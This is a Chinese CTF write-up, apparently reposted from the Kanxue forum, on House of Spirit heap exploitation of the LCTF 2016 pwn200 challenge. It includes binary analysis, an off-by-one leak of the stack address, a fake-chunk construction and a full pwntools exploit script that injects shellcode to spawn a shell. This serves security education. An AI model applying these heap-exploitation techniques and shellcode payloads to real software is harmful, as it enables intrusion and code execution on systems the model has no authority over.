本文为看雪论坛优秀文章
看雪论坛作者ID:直木
利用场景
Free要绕过的检测
LCTF_2016-pwn200
步骤一:运行查看
步骤二:查看文件类型和保护机制
-
64位程序 -
除了RELRO,其他保护都关闭
file lctf_2016_pwn200
lctf_2016_pwn200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a7b9f542c0bf79112b5be3f0198d706cce1bcad, stripped
checksec --file=lctf_2016_pwn200
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 3 lctf_2016_pwn200
步骤三:IDA反编译分析
a. main函数
b. welcome函数
c. input_number函数
到这的时候,栈空间布局如下:
d. input_money_and_menu函数
e. menu_options函数
(1) 输入1 :checkin
(2) 输入2:checkout
f. checkin函数
1)如果登记,返回已登记字符串,退出函数。
2)如果没有登记,则输入一个数字nbytes,然后新分配一个nbytes大小的堆空间,然后往里输入“money”(nbytes长度)。
g. checkout函数
h. 小结
能泄漏栈的地址,能覆盖堆指针,能再次free和malloc,满足HOS的利用条件。对应前面的利用场景,如下所示,那么可以在可控2区域输入shellcode,可控1区域开始伪造chunk,然后往chunk输入,覆盖input_money_and_menu函数的返回地址为shellcode的地址,那么menu菜单第3选项退出的时候,input_money_and_menu也会return。
下面进行调试分析,验证一些分析。
步骤四:调试分析
a. 模板
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,' '))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './lctf_2016_pwn200'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def dbg():
gdb.attach(p)
pause()
#start
# end
p.interactive()
b. 分析程序的内存布局,并查看welcome函数中的off-by-one漏洞效果。
-
对于money,如果输入0x38位,那么实际输入的会是0x39位,因为read函数也会将'/n'输入到内存中,结果是会覆盖掉dest最低的一个字节,导致不能查看堆信息。
-
对于id,也是同样如此,输入4位。
payload = 'a'*48
ru('who are u?n')
s(payload)
p.recvuntil(payload)
# leak main function rbp address
rbp_addr = u64(p.recvn(6).ljust(8, 'x00'))
print(hex(rbp_addr))
# input id
sla('give me your id ~~?','111')
# input money
sla('give me money~',0x37*'b')
# recvive menu
ru('your choice : ')
dbg()
id = 0x6f = 111
c. 思路
d. 输入name和money
def checkin(num, money):
sla('your choice : ', '1')
sla('how long?n', str(num))
sa(str(num)+'n',money)
def checkout():
sla('your choice : ','2')
def quit():
sla('choice : ','3')
shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
# input name(shellcode)
payload = ''
payload = payload + shellcode.ljust(0x30)
ru('who are u?n')
s(payload)
ru(payload)
# leak main function rbp address
rbp_addr = u64(p.recvn(6).ljust(8, 'x00'))
leak("rbp address",rbp_addr)
# get shellcode_addr and fake_chunk_addr
shellcode_addr = rbp_addr - 0x50
fake_chunk_addr = rbp_addr- 0x90
ru('give me your id ~~?n')
sl('32') # next chunk size
ru('give me money~n')
# input money(fake chunk)
# padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8
payload = p64(0)*4 + p64(0) + p64(0x41)
payload = payload.ljust(56,'x00') + p64(fake_chunk_addr)
s(payload)
e. free
checkout()
dbg()
f. 再次malloc并填充数据
# malloc
payload = 'a'*0x18 + p64(shellcode_addr)
payload = payload.ljust(0x30,'x00')
checkin(0x30,payload)
最后,程序退出时,input_money_and_menu函数就会返回,跳转执行shellcode。
步骤五:构造Exp
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
ruf = lambda delims, drop=False :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './lctf_2016_pwn200'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def dbg():
gdb.attach(p)
pause()
def checkin(num, money):
sla('your choice : ', '1')
sla('how long?n', str(num))
sa(str(num)+'n',money)
def checkout():
sla('your choice : ','2')
def quit():
sla('choice : ','3')
shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
# input name(shellcode)
payload = ''
payload = payload + shellcode.ljust(0x30)
ru('who are u?n')
s(payload)
ru(payload)
# leak main function rbp address
rbp_addr = u64(p.recvn(6).ljust(8, 'x00'))
leak("rbp address",rbp_addr)
# get shellcode_addr and fake_chunk_addr
shellcode_addr = rbp_addr - 0x50
fake_chunk_addr = rbp_addr- 0x90
ru('give me your id ~~?n')
sl('32') # next chunk size
ru('give me money~n')
# input money(fake chunk)
# padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8
payload = p64(0)*4 + p64(0) + p64(0x41)
payload = payload.ljust(56,'x00') + p64(fake_chunk_addr)
s(payload)
# dbg()
# free
checkout()
# dbg()
# malloc
payload = 'a'*0x18 + p64(shellcode_addr)
payload = payload.ljust(0x30,'x00')
checkin(0x30,payload)
#dbg()
# quit
quit()
p.interactive()
参考文献
-
ctf-wiki -
https://bbs.pediy.com/thread-225440.htm -
https://www.anquanke.com/post/id/85357
看雪ID:直木
https://bbs.pediy.com/user-home-830671.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):Pwn堆利用学习——LCTF_2016_pwn200
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论